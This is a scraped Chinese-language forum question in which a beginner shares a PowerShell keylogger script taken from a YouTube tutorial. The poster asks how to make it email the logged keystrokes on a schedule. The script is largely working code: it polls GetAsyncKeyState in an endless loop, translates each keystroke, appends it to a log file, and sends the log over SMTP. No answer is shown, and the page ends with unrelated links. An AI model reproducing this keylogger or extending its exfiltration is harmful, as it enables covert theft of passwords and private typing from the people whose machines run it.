powershell - Powershell 脚本;键盘记录器,需要帮助!任何有PS知识的人
问题描述
我正在修改通过 youtube 教程 (Cosmodium CS) 找到的键盘记录器 powershell 脚本,但我希望将日志定期发送到电子邮件地址,而不仅仅是在机器重启或手动执行 c.cmd 文件时发送一次. 因为这就是它目前的工作方式。有没有办法安排它,某种简单的 while 语句将 $smtp.send 间隔发送,或者仅当(log.file)达到一定大小或计时器。我是powershell的菜鸟,所以想学习:)
这是当前代码的片段
# set up API
$API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru
# attempt to log keystrokes
try {
# loops keystroke detection
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
# use API to get key state
$keystate = $API::GetAsyncKeyState($ascii)
# use API to detect keystroke
if ($keystate -eq -32767) {
$null = [console]::CapsLock
# map virtual key
$mapKey = $API::MapVirtualKey($ascii, 3)
# create a stringbuilder
$keyboardState = New-Object Byte[] 256
$hideKeyboardState = $API::GetKeyboardState($keyboardState)
$loggedchar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) {
# add logged key to file
[System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
# send logs if code fails
finally {
# send email
$smtp.Send($email, $email, $subject, $logs);
}
}
# run keylogger
KeyLogger
任何帮助都会很棒!
解决方案
推荐阅读
- algorithm - 比较两棵 Merkle 树的时间复杂度是多少?
- mongodb - 更改 Kakfa Streams 的状态存储以使用 MongoDB
- html - 对齐与 CSS
- c++ - 使用 TCP 套接字时无法接收任何包
- javascript - 试图获得累积的垂直滚动距离
- java - 如何在片段的警报对话框中使用recycleview
- python - 验证请求中多个字段的最佳方法
- php - ReactJS/PHP 应用程序 - 表单不工作
- hibernate - Criteria Builder:如何为 JSON_OBJECT 使用标签
- javascript - 如何在 Next JS 中删除页面更改的初始化